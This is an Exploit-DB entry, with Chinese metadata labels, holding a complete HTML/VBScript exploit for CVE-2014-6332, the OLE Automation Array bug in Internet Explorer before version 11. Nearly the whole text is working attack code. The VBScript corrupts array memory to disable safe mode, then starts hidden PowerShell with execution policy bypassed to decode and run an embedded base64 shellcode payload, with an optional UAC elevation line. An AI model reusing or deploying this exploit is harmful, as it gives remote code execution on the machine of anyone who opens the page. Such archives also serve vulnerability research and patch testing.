标题: Microsoft Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / PowerShell VirtualAlloc (MS14-064) EDB-ID: 35308 CVE: 2014-6332 类型: REMOTE 平台: WINDOWS 发布日期: 2014-11-20 漏洞利用脚本: <!doctype html>
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<pre>
|--------------------------------------------------------------------------|
| Title: OLE Automation Array Remote Code Execution => Pre IE11            |
| Original Exploit: yuange - http://www.exploit-db.com/exploits/35229/     |
| Rework: GradiusX (francescomifsud@gmail.com ) & b33f (@FuzzySec)         |
| Shellcode: Use the Veil-Framework, powershell/shellcode_inject/virtual   |
| Usage:  http://www.fuzzysecurity.com/exploits/21.html                    |
|--------------------------------------------------------------------------|
   Very nice black-magic yuange, don't think it went unnoticed that you  
     have been popping shells since 2009 :D  人无千日好，花无百日红          
|--------------------------------------------------------------------------|
</pre>

<SCRIPT LANGUAGE="VBScript">
function runmumaa() 
On Error Resume Next
set shell=createobject("Shell.Application")

'powershell/shellcode_inject/virtual --> windows/messagebox title='Ooops!'  text='Powershell FTW!'
payload="nVVdi9tGFH33rxiMHmzWWkYafTlmIWlDIVBCYZf2wfhhNBp1RWXJyHLqTZv/Xp1jXzfbvIS+zOed+3HOuVLg1IN6O59t37fth/2hH8bF/A8/dL418X3VtvPlTh1OZds4dRztOE3+PE736kM3/jIO6tdmGE+2fde2vVtcz/5cqVPTjep8nV+u8+fl5n/H+XHwdvRPz9NUSZzT1e+nlfo38nX1VezryX+j74+f3DB+T+y93x/9uPjW862q+dtZ0E9Avquq8Onl4FU4vSn98N7XTdeMTd+pwKnwo917Nf+t6Uw8V2E37Y4H67ziyU+nzsHyqMKDPR7H5+E0C84PQf/mzSuQ9UqfI60xmcuU6OVGbX94Gf12twuOYFSfSzvdlH4a0nIaqnoadIIVLlyF1XoacpzFGGoMKS5MBBPcllglsZylKYJjq82rbYFtjkApAhl4qfkC0YpSVjHs4mIaMgwWMTy8aHhxGOIMDnKY4FmSSwZJJsUweIwzywwAQoZVBWODojOcFTDJnJwlWEUImaDUAsYOrjTfOkGIzwxWDsVERA0mKbOiSSaQlE5KveCSSvYpb1lbJdmXpAu5WJpoiaFRVpRL4uQjIUwstbxFY/kwsYDTYlsjhkdZa+bCisj+WgAzRnJ2GGwsbGVWmPYwyZBLgUA1TNbEvhQCclwUMI5g5wrRCzN1pTAdZVJvokV6eSyuCCLR1dRfLtjTAcVAOC0c+FpqIy4+kVwuNFqhlgjVTgjInZCca8GgYBp4VuFF4UQ5OR0QXSNxHTmHcU2VYIi8SI89UxIrbD1u4/WtNmoSkBhkmhYiM4vBpcJ5iQvKu85EFvRiE8mAqbFXSRnB1kic3UN0CbZln99WFu7ZW449SEKtaCjLhWn2L+kmRwwUkW6qCTGo3UKLQBLYsY+ocSJOV57y5rckFm1UbNhYZMZ+uxBAV6mwcOkPwnnrvALD2kjlbGIWQyFlN6kwe4LNXiCDrJJvK0rUCKamlEDUGnEhySlQ44cxgtOMRaeSqXUiH34izVoqj9zqa53WVJi5VamFClYZ10xoM6v7QS2C5kFvgkaFrZ82R3f/s+9+H5/DaDmd3t0t1V/48F//PNvLr2e3CM73T/20MfFieRc0y5Wanm6DZrdS0VL9rfrTGHantt18mQWf+et49d+cEloF5xUm/DIeRzuM4WPr/UGFj971XaXwZ9H6Hw=="

command="Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(""""" & chr(34) & payload & chr(34) & """"")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"

params="-NoP -NonI -Exec Bypass -Command " & command

'Original POC yuange
'set shell=createobject("Shell.Application")
'shell.ShellExecute "notepad.exe"

'With UAC
'shell.ShellExecute "powershell", params, "", "runas", 0

'Without UAC
shell.ShellExecute "powershell", params, "", "", 0

end function
</script>

<SCRIPT LANGUAGE="VBScript">
 
dim   aa()
dim   ab()
dim   a0
dim   a1
dim   a2
dim   a3
dim   win9x
dim   intVersion
dim   rnda
dim   funclass
dim   myarray

Begin()

function Begin()
  On Error Resume Next
  info=Navigator.UserAgent

  if(instr(info,"Win64")>0)   then
     exit   function
  end if

  if (instr(info,"MSIE")>0)   then 
             intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))   
  else
     exit   function  
             
  end if

  win9x=0

  BeginInit()
  If Create()=True Then
     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

     if(intVersion<4) then
         document.write("<br> IE")
         document.write(intVersion)
         runshellcode()                    
     else  
          setnotsafemode()
     end if
  end if
end function

function BeginInit()
   Randomize()
   redim aa(5)
   redim ab(5)
   a0=13+17*rnd(6)
   a3=7+3*rnd(5)
end function

function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
    '   document.write(i)     
       Create=True
       Exit For
    End If 
  Next
end function

sub testaa()
end sub

function mydata()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2)  
  
     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314

     aa(a1+2)=myarray
     ab(2)=1.74088534731324E-310  
     mydata=aa(a1)
     redim  Preserve aa(a0)  
end function 


function setnotsafemode()
    On Error Resume Next
    i=mydata()  
    i=readmemo(i+8)
    i=readmemo(i+16)
    j=readmemo(i+&h134)  
    for k=0 to &h60 step 4
        j=readmemo(i+&h120+k)
        if(j=14) then
              j=0          
              redim  Preserve aa(a2)             
     aa(a1+2)(i+&h11c+k)=ab(4)
              redim  Preserve aa(a0)  

     j=0 
              j=readmemo(i+&h120+k)   
         
               Exit for
           end if

    next 
    ab(2)=1.69759663316747E-313
    runmumaa() 
end function

function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000
  
    redim  Preserve aa(a0) 
    redim   ab(a0)     
  
    redim  Preserve aa(a2)
  
    type1=1
    ab(0)=1.123456789012345678901234567890
    aa(a0)=10
          
    If(IsObject(aa(a1-1)) = False) Then
       if(intVersion<4) then
           mem=cint(a0+1)*16             
           j=vartype(aa(a1-1))
           if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then    
                 If(IsObject(aa(a1)) = False ) Then             
                   type1=VarType(aa(a1))
                 end if               
              end if
           else
             redim  Preserve aa(a0)
             exit  function

           end if 
        else
           if(vartype(aa(a1-1))<>0)  Then    
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if               
            end if
        end if
    end if
              
    
    If(type1=&h2f66) Then         
          Over=True      
    End If  
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If  

    redim  Preserve aa(a0)          
        
end function

function ReadMemo(add) 
    On Error Resume Next
    redim  Preserve aa(a2)  
  
    ab(0)=0   
    aa(a1)=add+4     
    ab(0)=1.69759663316747E-313       
    ReadMemo=lenb(aa(a1))  
   
    ab(0)=0    
 
    redim  Preserve aa(a0)
end function

</script>

</body>
</html> URL: https://www.exploit-db.com/exploits/35308